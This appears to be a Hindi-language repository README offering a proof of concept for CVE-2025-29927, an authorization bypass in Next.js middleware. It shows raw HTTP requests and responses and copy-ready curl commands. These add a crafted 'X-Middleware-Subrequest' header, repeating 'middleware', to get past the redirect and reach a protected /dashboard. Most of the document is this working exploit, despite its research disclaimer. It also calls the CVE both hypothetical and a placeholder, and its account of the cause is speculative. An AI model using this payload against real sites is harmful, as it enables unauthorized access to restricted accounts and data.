
Next.js मिडलवेयर में प्राधिकरण बाईपास
इस रिपॉजिटरी में CVE-2025-29927 के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) शामिल है, जो वेब एप्लिकेशन के अंदर मिडलवेयर हैंडलिंग में एक दोष को प्रदर्शित करने वाली एक काल्पनिक कमजोरी है। PoC दर्शाता है कि कैसे एक विशेष रूप से तैयार किया गया HTTP अनुरोध रीडायरेक्शन लॉजिक को बायपास करके प्रतिबंधित सामग्री, जैसे कि डैशबोर्ड तक पहुँच सकता है। यह प्रोजेक्ट केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए डिज़ाइन किया गया है।
अस्वीकरण: यह PoC केवल स्पष्ट अनुमति प्राप्त नियंत्रित वातावरण में उपयोग के लिए है। उन सिस्टमों के खिलाफ अनधिकृत परीक्षण जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की सहमति नहीं है, अवैध और अनैतिक है।
इस PoC का अनुसरण करने के लिए, आपको आवश्यकता होगी:
abc.com) जो एक कमजोर कॉन्फ़िगरेशन पर चल रहा हो (CVE विवरण के आधार पर विशिष्ट सॉफ़्टवेयर/संस्करण तय होगा)।curl (curl.se), Burp Suite (portswigger.net/burp), या एक कस्टम स्क्रिप्ट।CVE-2025-29927 (प्लेसहोल्डर; उपलब्ध होने पर आधिकारिक CVE विवरण से बदलें) मिडलवेयर के गलत कॉन्फ़िगरेशन या लॉजिक दोष का शोषण करता प्रतीत होता है। PoC दर्शाता है कि एक कस्टम हेडर (X-Middleware-Subrequest) जोड़ने से सर्वर का व्यवहार बदल जाता है, रीडायरेक्शन तंत्र को बायपास करके प्रतिबंधित सामग्री तक पहुँच प्राप्त होती है। यह संभवतः इस बात से संबंधित है कि मिडलवेयर (जैसे, Next.js के साथ Nginx) सबरिक्वेस्ट को कैसे प्रोसेस करता है या हेडर को मान्य करता है।
मिडलवेयर कमजोरियों के बारे में अधिक जानकारी के लिए, देखें OWASP मिडलवेयर सुरक्षा।
PoC में दो चरण हैं: एक प्रारंभिक असफल अनुरोध और एक संशोधित सफल अनुरोध। प्रत्येक चरण में HTTP अनुरोध, प्रतिक्रिया और विस्तृत स्पष्टीकरण शामिल है।
यह चरण बिना अतिरिक्त हेडर के /dashboard एंडपॉइंट तक पहुँचने पर डिफ़ॉल्ट सर्वर व्यवहार को प्रदर्शित करता है।
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard: डैशबोर्ड एंडपॉइंट तक पहुँचने का प्रयास।User-Agent और Accept जैसे मानक हेडर एक सामान्य ब्राउज़र अनुरोध का अनुकरण करते हैं।307 Temporary Redirect: इंगित करता है कि सर्वर क्लाइंट को रीडायरेक्ट करता है, संभवतः प्रमाणीकरण, प्राधिकरण या रूटिंग लॉजिक के कारण (जैसे, लॉगिन पेज पर रीडायरेक्ट)।Server: nginx/1.14.1: वेब सर्वर सॉफ़्टवेयर की पहचान करता है।/dashboard तक सीधी पहुँच को रोकता है। इस प्रतिक्रिया में Location हेडर की अनुपस्थिति (संभवतः संक्षिप्तता के लिए छोड़ा गया) दर्शाती है कि रीडायरेक्ट गंतव्य कहीं और है।यह चरण रीडायरेक्शन को बायपास करने के लिए एक कस्टम हेडर प्रस्तुत करता है, जिससे डैशबोर्ड सामग्री सफलतापूर्वक प्राप्त होती है।
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: मूल अनुरोध में जोड़ा गया एक कस्टम हेडर। बार-बार आने वाला middleware स्ट्रिंग मिडलवेयर स्टैक में पार्सिंग या मान्यता दोष का शोषण कर सकता है।200 OK: डैशबोर्ड सामग्री तक सफल पहुँच की पुष्टि करता है।Content-Type: text/html; charset=utf-8: HTML प्रतिक्रिया को इंगित करता है, संभवतः डैशबोर्ड पेज।X-Powered-By: Next.js: सुझाव देता है कि एप्लिकेशन Next.js का उपयोग करता है, एक रिएक्ट फ्रेमवर्क जो अक्सर रूटिंग के लिए मिडलवेयर पर निर्भर करता है।Cache-Control: कैशिंग को रोकता है, जो गतिशील, उपयोगकर्ता-विशिष्ट सामग्री के लिए सामान्य है।Content-Length: 30174: प्रतिक्रिया बॉडी का बाइट्स में आकार।X-Middleware-Subrequest हेडर संभवतः मिडलवेयर को अनुरोध को एक वैध सबरिक्वेस्ट के रूप में मानने के लिए धोखा देता है, रीडायरेक्शन लॉजिक को बायपास करता है। यह सबरिक्वेस्ट को मान्य या प्रोसेस करने के तरीके में एक कमजोरी का संकेत दे सकता है।curl का उपयोग करके PoC को दोहराने के लिए इन चरणों का पालन करें:
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
अपेक्षित आउटपुट: एक 307 Temporary Redirect प्रतिक्रिया।
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
अपेक्षित आउटपुट: डैशबोर्ड सामग्री के साथ एक 200 OK प्रतिक्रिया।
नोट: यदि अधिकृत वातावरण में परीक्षण कर रहे हैं तो abc.com को वास्तविक लक्ष्य डोमेन से बदलें।
curl का उपयोग करने की मार्गदर्शिका।यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है। विवरण के लिए LICENSE फ़ाइल देखें।